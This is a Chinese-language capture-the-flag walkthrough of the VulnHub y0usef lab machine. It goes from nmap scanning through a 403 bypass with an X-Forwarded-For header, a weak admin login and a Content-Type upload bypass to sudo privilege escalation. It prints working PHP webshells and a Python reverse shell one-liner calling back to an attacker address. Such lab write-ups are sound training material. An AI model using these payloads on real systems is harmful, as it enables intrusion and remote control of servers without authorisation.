靶机地址
https://download.vulnhub.com/y0usef/y0usef.ova
目标
- 取得
root
权限+2个flag
涉及的攻击方法
- 主机发现
- 端口扫描
- Web信息收集
- 指纹探测
- 403 Bypass
- 文件上传
- 提权
主机扫描
nmap -sn 192.168.0.0/24
192.168.0.102
就是靶机地址
端口扫描和服务发现
nmap -p- 192.168.0.102
发现只开放了22端口和80端口
nmap -p22,80 -sV -sC 192.168.0.102
-sC
参数告诉nmap在扫描过程中使用默认的脚本进行扫描,这些脚本可以探测和利用主机的各种服务和漏洞。
发现操作系统可能是Ubantu
,HTTP服务是Apache
浏览器直接访问80端口的Web页面看看,robots.txt
、/admin
、/login
都没有发现
Ctrl + U 查看网站源代码,没发现有价值的东西
信息收集
whatweb
进行指纹信息搜集
whatweb http://192.168.0.102
,如果看这些组件的版本,发现存在历史漏洞的话就可以尝试利用了
dirsearch -u http://192.168.0.102
扫描一下目录
访问那个302跳转的页面出现403,服务器拒绝访问
抓包发现一下信息,和nmap
探测到的差不多
作为渗透者(白帽黑客),看到403的时候,不要直接放弃,我们可以做一个403 Bypass
如果目标系统使用的是基于URL访问路径来进行权限的限制的话,那么可以通过“覆盖URL”的方法有可能绕过403权限限制,使用一些HTTP头部
- X-Original-URL:
- X-Rewrite-URL:
- Referer:
- X-Originating-IP: 127.0.0.1
- X-Remote-IP: 127.0.0.1
- X--Forwarded-For: 127.0.0.1
在HTTP请求头部添加X-Forwarded-For: 127.0.0.1
,让服务器认为是自己请求自己,就不会做限制了
成功返回一个登录的表单的页面
那我们第一反应就是尝试弱口令,admin/admin
,提交时记得加上X-Forwarded-For: 127.0.0.1
点击Upload File
,发现一线曙光,可以上传文件
文件上传常见绕过方法:
- 文件扩展名
- 文件类型
- 在数据段位置添加真实的图片的头部信息,将PHP的Webshell附加到图片数据的最后部分
准备一个一句话木马的Webshell:
<?php eval($_GET[1]);?>
<?php $var=shell_exec($_GET['cmd']); echo $var ?>
点击上传之后,修改Content-Type: image/png
获得Web的路径
访问一下192.168.0.102/adminstration/upload/files/1723112552shell.php
让服务器解析我们的Webshell,记得加上X-Forwarded-For: 127.0.0.1
在URL后面加上?cmd=id
成功执行命令
反弹shell
?cmd=which%20python
查看是否有Python
python -c 'import os,subprocess,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.103",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
然后可以用python -c "import pty; pty.spawn('/bin/bash')"
升级一下shell,让它更具有交互性
提权
查看用户文件cat /etc/passwd
,看见yousef
用户
cd /home/
去home
目录看一下,查看第一个flag
是Base64
编码,解码发现ssh
的登录账号密码
ssh :
user : yousef
pass : yousef123
直接尝试登录成功
sudo -l
发现可以以root
账号执行所有命令,直接sudo su
切换成root
账号
Base64
解码第二个flag
:
总结
- 主机发现,端口扫描
- 针对Web服务进行信息收集,查看源码,爆破路径
- 针对
adminstration
的路径进行403 Bypass
绕过目标服务器的检查和限制,成功访问到这个URL - 发现后台登录的页面存在弱口令
admin/admin
- 发现文件上传漏洞,通过
Content-Type:
绕过目标服务器对文件上传的过滤机制 - 利用上传的
Webshell
进行反弹shell,提权 - 发现
yousef
账号,通过第一个flag
获得SSH
登录账号密码 - 登录
yousef
账号后,发现它的sudo
配置文件不严导致可以直接提权,切换成root
账号
学习记录:
- 虽然这台靶机的漏洞类型的难度并没有那么的高,但是文件上传漏洞以及
403 Bypass
这种攻击方法都是我们在日常的渗透测试工作过程当中最经常使用的技术手段,一定要把这些最常用的攻击手段很好的掌握,掌握到熟练的程度,这样其实对我们日常工作的实际性帮助反倒会更大,因为很多高难度的漏洞类型虽然技术含量很高,可以学到更多的技术性的东西,但是在真实的渗透测试的过程当中,遇到一个高难度级别的漏洞的目标系统的概率性很小,所以很多时候你掌握了很多高难度级别漏洞的挖掘方法,并不代表你真实的的工作表现会更好,反倒是我们把这些最常遇到的、经常出现的漏洞类型掌握很好之后,往往可能在日常的工作过程中更能让你取得相应的工作成果,所以往往可能对你的工作发展以及个人能力的体现是更有价值的一件事情。